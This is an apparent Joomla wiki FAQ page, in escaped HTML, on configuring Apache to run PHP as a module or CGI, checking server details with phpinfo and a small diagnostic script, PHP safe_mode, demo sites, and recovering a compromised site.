There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 &#039;&#039;Dormant&#039;&#039;] since August 2010)&lt;br /&gt;
&lt;br /&gt;
*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
